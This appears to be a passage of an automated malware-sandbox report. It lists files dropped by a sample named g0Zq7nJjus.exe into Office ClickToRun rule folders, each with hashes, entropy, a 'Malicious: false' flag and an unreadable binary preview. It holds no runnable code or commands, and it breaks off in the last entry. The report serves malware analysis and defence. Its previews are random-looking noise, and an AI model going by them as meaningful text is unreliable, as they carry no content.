Preview:	.<?...Y`Pa..L...U..U..Z...,..Oz.^.Q..}^b.F;....o...{-.V0.GHY......6...?0.X........ .).".c............g.)N.+.t..#....Z.H.......~.g...~..e..;...Vt..{~L.....&.t.......kE.O.,&..S...H..._u.$.+.\|.O~.h......>.k..@S..S[.w6..e.vE.'&..../J.W_.OSm..%.u.%.O3.wnTa0....Aq.C.0...(..K,...w.J....J.....)... J..LN......1(+pu.t......}..S.\|..g!.7w..kp.5....j.-..).9....B.C...fF.....{S.!..:..h..[....eRw.FH...e..{.^DY....jh.>.2........IT....[...ns.]..+J..g..I..L.....g.%..#L.?..f.._...V.=>.u^...DV..YT..Yu<.....=.{..34..;U....H....l5.~....+...Bl.......{..bX6.@2B.....M"....z.C..,%e..a...g.\..f..K.JK>.<..\|<....2W.@..F}`..'...+Z{..........W.....!..{.pn.~iv;\|..=...t.=(....r.+.]<)....uB$....F.r.]Ip+.[......%...]qigo..>....k....k...&A.UM....%Q}..g8s..R..s...K.....r....a..7u.<6b.{.....T..I.!...._.....`WA....`.&^.#......E6.o....M.>I.:..2..6.u...s.IO[......y.Be..)...\...FVr.v.\|...[...zh....df.8]...e.,...&rJkb.M.q=.kkZ..Q...`.j\|..,....G..po<.x.p..a\|...[).!...h....<d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.89881299224936
Encrypted:	false
SSDEEP:	48:9EaDHBPPIRIIjbZOMwZDZ7/Kumt36undhQGkaQtDDED:PBPTsbCNZzKumtxdhQGFf
MD5:	17B695F72B4C5C9D0A1F59FD58CCC4BE
SHA1:	175DD67FB37D3427F36F1DAF4FA0F638AC47590F
SHA-256:	F7DEAAAA3DEBE67F8574C5EB0942DCB04BAA997C9D0FC93AAB3051DDE651213B
SHA-512:	9463EC819A7ED6EC5733D7B2827D60A60CF94B3447A2FAA67AD9C3FC10C2FB2CED54D2B2174D34FF382274715C5DBB543F43B6B7CB1DD86E00FD831C54654C71
Malicious:	false
Preview:	.<?....[..\|...\N.eS..,.'..%."....o.u~...&..AB...g.H5..Y>...............................0M.Y.........x.1.`P00`8..A..q.5K....lK"......?...3HM.5m.b...U....`.$[L.P......F&.~.......A5MH.I..#.......P.k..,{...../%a..U#.,......e:C..-b. C.......W.;..Ne..2z{..xe.d.L..\|P.P3)...gq.j.....)..o...O+U..).0e?.SD0........G..t."w....!\`.....'#>...Ve.u~..}...#..l...ctO.].dX~.g...w.o....R(...L..f.H.Y.>$).8.=..p.f.4.j.^.T...@.B@.K._am....RyI[f^.).....d. f..C0.5b.xtH.J...2..Vk.^D.(B.{.M.a.U...q.....M..T...'.e&O...p....X.A...t..V.YW.aQ...x...)G-....y..E.s..w..r[.q!.1....Y<(.o$..Q./\...}....P.}.O/.`.^zk.H~.Z.....8"H.m.....9..x..9..\0.7x.c....n...Q.]....\|o...E.M(..sr\.........C......5.Q5.J.2C.D.j.....U&:\H?.=Qu.b.f:.............ym.A.....2.7c.4.._.i..$..:..9.?...<..r.i-s...l.n..R.'?!.\|.$(...c.....7........n.....#.)y9.......s..2......9SD..h.....AJ..c..y.....~.9F%HV..\|I....../?...[.O.Z.,.4..}M...zP.....z0.E...]Z]..s. .*M.M+..;g...=.\|.....b9..Iw..<.rd.3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.884268244499273
Encrypted:	false
SSDEEP:	48:Njwcf5+qHHlBRP6qEt0wUhB+FxQhd68Pk7xzysD:N/5+qHHi2ldr6vN
MD5:	0BE3DE8C9387058A62923C0002287827
SHA1:	8AD5FD469AA7A16D668031C2653B628AF586DD31
SHA-256:	07314267FD8F27B23FC54D385D0ED3467852EE234635B759C66A277AAF9A0B16
SHA-512:	A82F589E3FBD3AAA0620AA55C1C6B4C5AFB11169748F484213F86AA583A2ED58948B154EB63D3E92AB8A927F769789A44A3AFA39946EEDA1DE9B3FFD1BE9A8C5
Malicious:	false
Preview:	.<?[..\7c.sp...../\|. ,d.g.@......FL@.3.%.....~~..Pc^I.j..rO.r.Q.h./...'..32....k..~.g.H......I..1B...3.......K..Cln...V.z........:...\|..F"a...c.....u..'...v.,k...Hi..(6k..l..8...r%8D.%....O...SZ..RlP.pY.<H+.{BC...d....d...T...O....._...p.......^mvX...``. ....O..,.k..%.d~.2a.%.!C...B7..9.P.dG.,.5x...=..mR......Q.D"......-.ZE"..1.Cf...@u.;.f9....@... $..x...k...S..\|.&..G`O.Z.(QO.b..e..{/..D(..q\.B.@..%P&S....<..$..q..t.T...f...wJ-k,.6.D....)..sSuzpa......U.7>..!f.qBXB/...R.....N.1..+.5..#Q=...D..;.6....M...BC.X.P.E....r:4.4.\|^.Y.\Y.A.N(r.5X._>.\.........'.:z*....y.X.B.....<.G..(.v....8...G...,......;.Z.6...z...{.UO.Ul.1....\z......(.H6.......?.D.e..........o.HH".@7.....:.'..&.......w.....j....o.E.\|.k..O...X..?.o!V..}..%.B....l..T(..}..S.......s...L...gI..r...L..........\|7..bs...v.......D..../O.K..m.`(.-..`K... ......t....0..-BC....z...-.9W.5r;7PQ@.`}........W.e.q..h..-....c\|>....v....y.p.,9]...}G.WE......M.61Al..y:..Z^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.882703357109343
Encrypted:	false
SSDEEP:	24:0lUrqeNOS1OdHosGABKEUC1D4ffvTymxnwAF+84/OlCzfv4Fk/B2X0q2bD:JWAOsOdHoj+U0k/tLEOUzn462X0hD
MD5:	62A4485118C593C7DD16B55D3347EC37
SHA1:	10DCD373E9656D0ADF809DCAF675C1644BFF07CB
SHA-256:	E5E2046C7585445E7119D6F98C0DCA78155DFFDF8C6B6CEF150063F790056B39
SHA-512:	F7D01B511D8DFE41D2ED2D2AC7CA9617B4DC380D64BC79CE590769D660CB6E8D2DB1D379B0435EC9A99E3E4D4E72C778CE78AC74F5043D99E5AB54116239D142
Malicious:	false
Preview:	.<?.._=.k.....'fK.w[.?..C.7.4....F.......y.....UT....b.[..4.. .f...V/.R.... ..>......Z[f..%..9.......p...$:..ea...gY.k..+...9...............H.+.i..!.p.C.."AN#X......:)...l74......(..\|F..}v..<.k.......u..^5....$.q..nw.>.KC...H...\......./.. :.}..6m.aWd....g...Gf.c.Ue}R..._.$...Kh9<....%...wP.eK/........j (.h.q..;.O.$d..@M.j..Z,W`.......P(.f~.1T...4\|.K0J&.L....2.=.e..`.>?5..\E....9/.K....].R......1.....:Shq..e.%....hC....%.....nx.bD..+I=..e...[.A.f....\DR........9UF......8.+.a......3L..jt.....5..\|.c.He snF......;....l.a..U....d.U...l.G./u}.@.Z.a.....'..;Q..v...GeR.@.7>..'. ...b.W......b.a.I../...V..U....?..U..I!x\|.#.Z.qc..p....x..m.h\|-..WKx....+..E.m..q_....u....~..C..G..}.\|....C....P.b%.M..i....cP.@(#.^.0.`..%....@y..;.....a..o....fW.:.+.yy.....?..h....>..k\8.....c......;.Z..Hi(r2..H.4..5...H..:E..Uz.O9.a(.....Dv3...k.Kh.{1.F9.u............}..V..g{S.^@..a..k"..X.Y.]`'.e.....6........]..._..j..^..r.B..h<.hd...X..n...a'.$.8.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.88427828978539
Encrypted:	false
SSDEEP:	48:HnwL0D7SDlbDTWyK7sq9u7A7oApIjUm5jAy2cxrD:qWyK7sAu7S85j2G
MD5:	4496CC9B58275BDBD42FA421C22658BD
SHA1:	F8D229BC37029D2B32AA4690E923AC625B925F79
SHA-256:	EDA789B0C2AD1EF0196F64AF551F467AF96BD1C1CC90FBD4CFDE76B93D6F733E
SHA-512:	D77D568E0230E2E91671B1B5C9DA19D21FC4177DEE33B19A671854C30B746A9A4F9B97AE1B60361BB7D6C6B501F8CB092D9CED3294CB7D42606A6F24C40C9D91
Malicious:	false
Preview:	.<?c-..1.......,..=..\...Z./.......}....Nv>;..K.j.n.....s3.K;7i`.U...p.....n.a.\|l.p.q.;..d.<.m0EP9T2.O.d.V$5.Z.2k...UL...![".l.2.....@..E..].'.p.+>.=.9...=....!..........d..T..Rt.F..>.....<$.n.-.t.I.'.T.Fk.\..L...xH....h5s?9NL![.. ..FO=K.....LH.0.L.F!UY..O..-..\|.....).X.J%...QZo......'H~.6+...w0.Z.F\|....x.L.t......~X.^'.mJJ.s"...Ub.3q.<..H.!@....URu..k.>.1.H...kr@..~^4.a=..`;..3.Su.......F.J.....1^.gg....M.=~]...~..!.......Y..9.g.FC=....{.../.O...E..y.en#.....1.q....4.....a.1.....@.k.......@..z.qF...\.GV..O.1....}.x/v.<Vb...@Ms~...W._.Q.l.)........]p.THo..p.C_f...N$a.]../.bG......%,.'..f.<.a..D...~q..5bD..h...L.~.^ZZ...Ax.=R.....C.q.P,..Cj..lkv....F. .`.\..`c1..Bo.>..p.%....m....I,?._...S..~...YH^..u4>\.P....\|I}.~..m;.q0U,.b..Goay..A.............M.sa....DK..l}.&.c.....:....3I8.U./.....m..[7x..YQj.9w6.0..r..`.....V.t.O..n.0wn..}.S...N.k.bX.VO7...0R.V..\|.?.....R.........................H......t..7...m...F.C!...qX..M.)..E.....E..U...N...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.871335305668472
Encrypted:	false
SSDEEP:	48:sCB9qqLiXQZBA7GasSKhXjNI8FMxXS4eDGi80SfD:s4qqOXQBAKasSwjNIxxRq180Y
MD5:	4143284A0C391B7C5F2890767B85EDEA
SHA1:	EFFAD81CBD0334712FEE2B2CCF73412F5985FD7B
SHA-256:	F6A07E2F23CADF38E80DA4D26085099EC051FDF948FAD6DF72D6B39896167B52
SHA-512:	00E23A1D274A0BCA62EA6EBF76F2F2E6B6E5C122A673D56A447C2836181651364A3E332AF5294B5395273A84BCC38D7B67B2B917AF143DB9FF9F3141994476B9
Malicious:	false
Preview:	.<?....,?x..GG(gE%.W&...^p..........e..m../9e..k<S.......q...;`...J' ]'._...(.gvH]x.i.5:...1=..Y.Y..m..Y$..$.p(.\|X.\.i.\|....~.w......Y..g..rf..k..%.....W!`s.%3.. .......kDx..........7.P.....x..._.Qa.V+..QD....$.8.......[.)'.&...F....@.S...1.s-Ken......9........5..=#d.}....6.aS.K....%T.......,.....q.(..@..././..\|.cp$...I.d._s.d+.....k0.u..5.".LEi8./A`....B.s..9.h.u....q.,...U.D.j.r......n.."R.......<6Y....R.[,s....a^.. ...............]...x.&%R..P.t......t...Q.L.c...`...%...!S....A.'}>.].&.Ys.5Gj..U..e.h\|..\.!.......BH...Pq.E.%.....'..'........>.`G......^.-{....)x.N\|..^-.1'F..':.._2.....X...."..O;c..e......&..zz7.&:.?....V........`S..%.......l.a...8.hd.,FU`}h..I...v'..4.5..g.O....v^...`..?..l..`C4.,.m.d.... k..........`.L...........r.\|{N...K....9UN...E.}............}s.U;m.P..~~cD....yl.J..L.A.I.s+..?I..e..R..I.a.>.D<../....l~<........I...Wy.....P..A.0R...%.<sopR....&.3.....^...{b?..6....\.u7'}>m.[.w6~1W.0..._.....9VlU....i.K#.E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.8799334384822295
Encrypted:	false
SSDEEP:	24:SsfJi4CGpqPUWckQXJjNQMxGLJcC5KCCBQqvZvkG4izBODq4wZb6Gwdknnk0iZ1a:ZNBe9WGS3CCKsvkG440K1wunk0evED
MD5:	6CA504A1624893914251F2E7AEF8B56E
SHA1:	F043F05806CD7BBF96DDA69C6952F7CDB4710D7B
SHA-256:	C340996A6A1BECE601443560DD8AE21EC61D84EDD483ED251C5B9F260443AB06
SHA-512:	9FD8E86AD686D065E7FE709135FE95CC721861850F592872B97E5D6F43FC8EBBE4327A5DC1ACBDCE91F5EA831D3228F499F1F6944B6C8E988F047DF2FE0D66F6
Malicious:	false
Preview:	.<?.IR.;...3.F`sF.Rw2x.g....... .."r.C..u.Feh}.y5.....C.:.D../>..X.5.L..X..kP.F....[_.S.N+..j...+..S.2...a5.h....O.<b.,..x.d.Cv;.(x.{..ln@r.g.N.....7cC...._.....8......\|..-..U..........__.mH. ....8..&...W_i.~.-......d.....c.b....1s.....y.........WG$0.5M=........-...?{......ri.@.D.t...@...).U..]......7Z.....&\;......O^....p.;$.T..........p..l...=.P...R...&....a.PE.u.7.....7..&.HZ........d.....,./...P....M#.#.R..C.Z..`....u. d....S+..(8r.h..\|.4.R9..2.D.q..}.v...Y...j..0-i.....x&r.~\|L...Yz...E0z.W..5...EFST....b..B..^Q..[$^.jR...x.z.W..s.......P.Cva...:}U.eC.{.ukA..,.X~...N.>H5....Jf..6..Ape.:.....8.SH..l~.T..........B..X>...a.K&c.W..J',/....}....s..].i;.Ji.."..^@[.s..d.....AW.N..16iPL..r0.:.]...@....)T,8.,'n.....^x.O.......4...OJ..a..,..r._.......y...a.A./{Y..+S.$..hF.......x.(NsD..........2...<@..,;..v..y.O&qI...f.....c.\...,..r....c..l.....Z.......q..W...$..a..`......;..A.]Wa..5.hh.A."F5.,.....g...Yb.r.....Sl...0....(........s.k.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.896006770175704
Encrypted:	false
SSDEEP:	48:9LKMc2PC3GV3hkR2MdmC2cLGcQKfoWc59SrPfD:y2w4M8cQki50L
MD5:	7E8613CD033180C72B34A448521CEB26
SHA1:	1AAC4740970641BADD419BA54CDFD362F7552FD7
SHA-256:	7E4E2677C355589900F06835A09C8C462D788FA9C812697FAEAC586DC8C1D378
SHA-512:	282E164F61C3F1730F67620761787620A42FB3277DB371D33464E2478862DE18FA0DB6D3399EFC1CA060F40112C87FADC5725C3EF00A3CBA44F8741EE23DC290
Malicious:	false
Preview:	.<?..~f.3I=m....:.Z..J...=...B"..T....+...'E.p[.K.......".yP,EE........X..-.............W........u.<........M.S.@ $F.?j....[.$.vfp.._.._.s..n.>@....=.......y.E..,.....1..i.D...........S.-d>TWh.%.........k8..G)p^.L.F..4.......\...Yel.(..)}g...Y.. 'g./..u.uP............/<.j..3.R?X........]...+..xj#...\|..D......am5.WOB...8.`..O..D.i..j::.....)P..`I.Y^...1...1...\#...z..<<.'.....R.2....jG.=j...l.U6..8Bn.......\.0a2..;Zp..$.-D.."..lm~G,._.'..\|].Q..v,. ..\..v.....K.a.&D.t..m0.VQ..<.R.!N;.L.yJl.F8.k.....K.93A..s..s.]rs....R.......Dk.sQ.N.q.OD..a.uwy.`;........`A...t.(...v:.Fd..HX..g."...-u....Dj@..1.0\..96..T..n.._....X=5sx..C. .y...6a.$.....].+........XL.u...;.jh.:..9.......w..j...........PG...c...z3.U!z?#...... +.<........I.V.%.i.y.P......@...........)....&!..d...9...8&.6fy.u...b...z...=k6#Mb;..F.c...I.p.\......QX........ky..[..G..NaO.J..tM.q....M.b.....,.E....+5x#..J......O6G.m_k....&.\.e%z...O<....G..*.>..[.3\|...%..x....xO..s.../....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.878117302108712
Encrypted:	false
SSDEEP:	48:Uw/xUozNUHuUTW+C+jjpYWt/iFHO9S42D:1xUozNquWpFt/MHqS4u
MD5:	17D177FFDA0DEBF8A81074D6DB79F607
SHA1:	48FE98799E16E6C43E30303D43ED9FE9116514A0
SHA-256:	D4BE2EDA66C6959F5B5B5BD540967742E0695EB1146C01C5F7B9DA7382C2A0EA
SHA-512:	A722C42FB0B13088FB12EAA861BF30ABC9C944CAA8AECB697889A6C3F8CED2DDD7990A2997AE1EBF9D75741E166E1A59F204F06527F636A94A4E5F1DC13F7758
Malicious:	false
Preview:	.<?@t.#.yg...l:..{.....c..._....^....V3....&Y..y.......Z.c.Q+}@l...G!...?m..._..ob.7ID..".F.[fw.#....3>...[.l....(...... ...u]s#-..-{Y...V&.....L.~...y..%..T....f!..>..8....W3z...D+.r:.s.\|X...I?K.<..L,5.a.K-t.w.o....t..Jr...-..........@..1..S~..0.s..LS_..6..z]O...I.Mw9......y~."9{....Y......t...~......[.=...gx.(.d..Q...e...{k...S.....W....j..\|....m....yH....H ...a...A.Yb.7.w.Xq.e..4.r.(1...aA..z{..Dk&ZIl<A.3.....}.X.F.2.vY....1.@`........BB.[....?%.b&.L.\|. .....l.N....n..ua..a..[..z.9.:i0.F[.....o.2.~.#k..'....W.t......&T..6]...Y.sVr+.......v.....K!.l.XS.WXYf....W?...(...o]yV.5v..v....6....,...E!..#Z5....2.g.....V......j..@n...F].S.BIz.....\c..Z.w...vsB..Nm....Z.t.5..4.c.z.......o...O.W.^[Mr._R.B.R.M..JX.+*=.LG.^O P.1....i..H..\.y........_.mJv...[i.{1.HO{.....x....` ...;.s./c{@.P..y.(X..1W#.>.Z....h...A....9&.v.....n..`.^_...n2..-9/.?.u...L3h.)D.1p..S...R....\|2T1V...D...t.q\..30......X.I......^.&..7>.;#..D.YG\|...i.\....."../K..}..l....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.888305916123044
Encrypted:	false
SSDEEP:	48:ARWDu/YZYLigReUMYp88waiVhOie1xHlCXnHKe0ID:aGEY5BUo7awh1e1xFqnHKE
MD5:	979D335F6753A6EEBA2FED7C76C9BF58
SHA1:	F6011F36242EECDF9F882ACBF0889B6896E7447A
SHA-256:	2A4D77DC73AF7730C33A20B9BAE89FB1E5C40A91DE4352846CBF33E6B9E47A1A
SHA-512:	FF2D7314FA7278991ACD6634554DEEF769921A65631A70CF33F86039CE001F1BAB285A502348CD9E90AA31D63AA58DF95DCEABA852ACBCEBF47BFF87C7735BB2
Malicious:	false
Preview:	.<?.n2......2.0..'.!.n.g7nhs<.Y...H.>.h....Pe\....m.IDk~j.......G>.O7.Q.J.J0.k..a.../....;^S...e?n.eyp.[OS..K.w...............UGO.0....y#.jx...%.q.:J.....C4."B....k.b..7P}.[V../.Hc....1..,p.=....lA....Se......m0P..E#...{...F..1.B.PW@C..d]!@.UB8.$6...W.%..K..c.G....+.W........D..i.{q8.u/.....d.0:xo...Hl...n0B.7..xD;...Euz..n..7)P{...v..>....j......X....x.V...R.....?C.=..o.j............-...h.t..=XV.)E.M..h...g....:K.......Wme2u(.\|.9#....j...^.l.E....fe.z..r.h...Q./l..f....../....!I...W.L.`.....A.....4...e{.FZC..ZNn.....F0.....SR..2.../uM.(:.}.<.1l..zOm.....ir....YL.\|.U..........{....U."o....99.>.&...p....P./.y........Z......ex......3W}.n.M8.....!xu\|..c....n...f\@/s.F...P...Y...a=.I.f..i..\.K..q..PFJ..sB....J.=Z.d.S9....a.A*:>.L.hsPP!_.[R.)f..QXh`.}......!?.s..e.^.Cr.O....B.#.X...r.......\....."{.=$.........9......'....p..g-...jA`.MYLz..q.......R.r...i....x].<..<.o"\...2:..=...b.c..z.u.........%....M.G.UE..R.....t..w.Q.lZ..d_.5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.907037120719524
Encrypted:	false
SSDEEP:	48:4Ztei0hXpuhty9QyfM8q4pmxb6yL3O385D:oe1XssQyEpGmkU3E8x
MD5:	24195D723B671AA472E63408E5DA7F01
SHA1:	EFD4F0D0FDE4A0A92AC6960F11A4C23C35AB4E87
SHA-256:	5613AFC4B7D2C7DAD920128D56EEFDB716B38E988AEED7D3820B2A67B26750C0
SHA-512:	783C261E61D51924EC2D6B696764006DDC878C83E074A3D3DDE746F9DAE9D077546E35155F7E833C13B99755646741CD284CDB5E19BB8D00321587328EA150C9
Malicious:	false
Preview:	.<?..W.>.y.4wS7_.9.s1B`0..,CG..g.lG..g..J.$..xs.t..{.o~....N.#g..........3...J.)....g...g.....dnp.$..t.S.C..D.W1L`.6..y.......eoR )n...A...H...k.H..`...>..[rL.....QZz..&HS....(.../1]..T..Z."1.D5.e.....8.....>}....b........2...:zf{l.V{..U:..D.Q.#..y.l\|...I....O..3.r...u.E?...W}..0UZ...c..U...=...:....>.".-+.zty........n>.._.Lr&(...(.&..q.......W....Q..R;..j.R.M.../.v..1c..T.8....m.V..H..t.8..t+.]...<L...S....W...%...r....GC>......_3.....S6...._>9.X/3.....-.......A...}..`......K.<..\.t.@......./O....o .{...^bXM.......\|...!...p=>..&...GaC.h..Zu.....Ge..%.........\.rOUCh)s...:.].....n.b......'...Y..;.u[.../.......l...~.5..jBD\|.'..E......78.?..V.........l.k...M....2Q.!.#C..>....].....F0.2.1.%n..CX......+...i..0.e...m.:..`.+a..=q$&..VC....).9g..T..L1DC...LDH.".V{9.....9.o\|.........I..jVL.7..b...W/x..~.o.S6$.....7a..qs+...5.c...+.4.2.G..z...I..B...C..(j..7\|.......[...'kG~KR..U.[.>.E.w.;...q!..{.;....5:...~..j...E.~.U.].'...](.....I@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.90558204737771
Encrypted:	false
SSDEEP:	48:83l7zpbcsBtk0avp6ULJWNOruveKqtHfIq6D:szZcsBtkxpjLysuveHHw
MD5:	FCFBC21C45A3F8816C2A465E4626B64B
SHA1:	F30AC76E701E2804FB731BFA7FF210D78F50F1C2
SHA-256:	23B2A7F57C3840797297963F9F113974F10AD6B0196B2ECE28BBA47519FA3CE3
SHA-512:	EAD15C48CCF5CFA234C6B9A0EA05FAEB2F645147A13C5019CF14E2E49B8045AB1A28D470BD96FA9F1A7F217423257252D79D45997D2050CF73802072157BC4BD
Malicious:	false
Preview:	.<?..X....$...~..~.g#3..y..r.f&..@.IR4....`......=e}...O)E....`...I.7..%rx0.>d<..a.c..!f..Pw.tSkJd..8.n".q..v... :.%2...Q.-B.J.^...'Y!Yr........<W>k.....,s.h..R%_yW.........%..u@...i......;c...p.........0.Jx...B(........zx[.CY..b.].y...Va.a.>c...^....PC.J......~J.;\|..D..~B....I. ..&fX7....g%....l.m.....)t....~.r...A..h:....h..K..{..k.Y.~j...V.......oL.[.. )..!...Tj.t....Q.. ......2y.,.f..H.GJ....5f.d.U.0.."..W\|.(.g^..H.o.............7..f.h..3..fQi.....x..yd...Y....;B....Y.r..d.A.:...&2f.....8b.U..0.e.7yF......=?.ez.....!.M.u....}......vx..1..4......F.P/..{.p...Y..>.by%p....:.S.k.Q~).2.b9..z..%.....f..A...g..<H.M......'V.Tj.&...C.3........4J, E.+..I...J^.#...=....ZG._O..y..o..Z.\...J...B.x..7.......~.\|zC..R..w.@....CR..6....l..V..=rFE.t....x#..%..H....\|M..b.l..T.<.}.#9......:...`/.....p$.5.u.(..}z.j\T{&......2,4}5....I..t.82O.o..K.A.nt......3.j..]=...l..y.o...%#P...L..?.x.B......7;"...g\.....dIB.C..T...)....:,P_5..m..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.880834072285708
Encrypted:	false
SSDEEP:	24:UvPzqGJc4NJOt7mxQS8QgPkrWb+WGfc2ibQuKKm5z9y5u2ZeRLGEPl2bD:U+GJxNQtCaN9hdQbKm5RyGRZP+D
MD5:	490C6C5DE880E07EFF3FE94BAE31869D
SHA1:	0E4680FD13513030DEE3E34A074669E4754DA7A8
SHA-256:	14DB1C52B0E9422916E32CE0504CE8FD11A0E7F857B9CF2DEE1664EAAD27F022
SHA-512:	07021EFB9B44B344C420D2675CFC5BE2838E75D7DB4015AE84431406E0740088BC20B1D25ED2D806DA53FC0DDF3DB87BEC1563FED98EEEEA2232558B54D5E05F
Malicious:	false
Preview:	.<?......v...Uw._y.q.Z.:.... 1o+.......v.nBvA.}7..NMO~@......N..:E......T..[.....E......y.'..kB....1..wm.......u..\.?z.'.....y`kl...hG#...CVO.C.,./.......i.D.....9u...C..u..K.S7ax1.b..._...4....,C..Dj.MZ.R.6...Na>).3#7B...Z$...B..e.!\&..qD@...m.(T....y......[...6g..........N.KX^.{..2.;._......L.&..z.<.........#.....).+j`..4\|.6..g....ZVM.@q...=...).t...TW.&_.!.i, t..............SA......;...xA...>.1..8a......(.u!5....Y.B...8......~Z.B.N..!..]:......Tb.4.../.............W...\|..2...D#bx..>.O..feU-..G...o.....G.......x....AM3..2...q...L......y....d...Y}:.]..y<.T.)D(..?.@A0<.a..\|..O......\X.x.?85_..$..~.%...<.....Ii...4Q..l<.\|.j.or...2.._.=..{...E%.O^`...c-......w..N(>...{..=.i....4BZ...Y..}..`Hq...S........Q.E..x.....~..F$'....@..Pt..t....4CJ'..&w....hg.i...q\|@.8.......`.'.h.-.WB9]+@...m...w..6.0...-.mQ....J.u..[~.V 0Hv.$..@?.Ow.S...........y..A.....q.#%.s.]..v".B.J.bfft..&.....#....S...<...7.@*!.^..I.7m.1k.n..e.s.t..x.g.A.....$;~?..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.885485432390365
Encrypted:	false
SSDEEP:	48:XjNa+gurydI477BpURi9V6/eiGwH1U5J3cxKdLm+n9D:XTruZ4KVKj0MxKdLmyF
MD5:	0D7A54CC29412342E07DEB97A62BE9B9
SHA1:	009B335DF3B3611ADE9F8B9EA1DB99D8E035FA0A
SHA-256:	CF93EFB630E11E9B135762BF9A97ED29AAF47669F0700B432C63AD8174E8B69C
SHA-512:	BC6783C5C8D458645438DB1252A6CD73D3B9A6F2D078BBAA5003578EC31171C74F9BADBE6CCB9DCFE9ACFB09603C14A2B4869CE6415D48801AC9ABBB1B9788F7
Malicious:	false
Preview:	.<?...}.E....~Z#.2...UU...yw.g.nL.. .c....[....m..>....!...{...]4...)....<..IV.n...,..dE...b.'n....z?.9.....B^.i..k,......43.U.=..&cE!......J......W#6..@P..E,0-...k..8..#...b1.(/[........2ni.b..W.F..a2..! ~jA.#Gr...C\.....E.O..g......,.O.;..k.b......:XR1.He...c......c...oO..Kt.}......A..'.......I4<Xdv...XZcXWO......3sG.:A.._s...n.3.\l.yJ.0.Fq.U.N..;...dx...R../R._..df..G.F....7@.....a.b.^.<.X'..#......`.....1.......1.l..#?c....Q .c.1W.=P4.:......w{..?.4..-E..^.&F...J....X.k.e..O).....[X}f......D.........<.?..[.........p....$.HM."...M..iW...D.v.{....^.~o..^.g"...6...9.@.M...8-.v.sF.8..U(...#...&.;...Kh.."..}.6.CP.A-kuG........rq.+. .jf..8J..O.=.%k.\|.^..-d.....^.<...6(... 1........N...m...g.z.Dx8N.].8....u\|4.=.......x.Sd..N.f.Y)..=../2.1yB=c%Rm...^...b..9.D.....ma...&e4..Qp..T...P}ku.\.i.....$6.....c..&..m.4k....xl_...,..T.o.^D..O...T.../.\..(3.U.......^...p..4..gW...L...c.+....h0......\|...a7h..t.`F......KJJ.m\...e.........=.E5...[!.._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.897791309032675
Encrypted:	false
SSDEEP:	48:8AF7e3FXXhEkotCIzU+TbHi7KXH/zIFMhCvCD:nFK3FX1gCO1LiWH/aO1
MD5:	31B293561AEACD5CCA30B017755275E5
SHA1:	D72A7CE9C8CA1454F2341CF3CEA2F8F2B24501AD
SHA-256:	678B3BFD200C8574455BA6F4CF4CAAB470845BDADA248A5EBF32B4480F112B5F
SHA-512:	F7011EDC39C90B43A99D89DB5F9914D991AA2631D1FC1B5FB1E89E848D144691CFD63A1EA857D70367E9D7F6E1AD42EA0942256FCB6DC1E04F6D0D3B37B96753
Malicious:	false
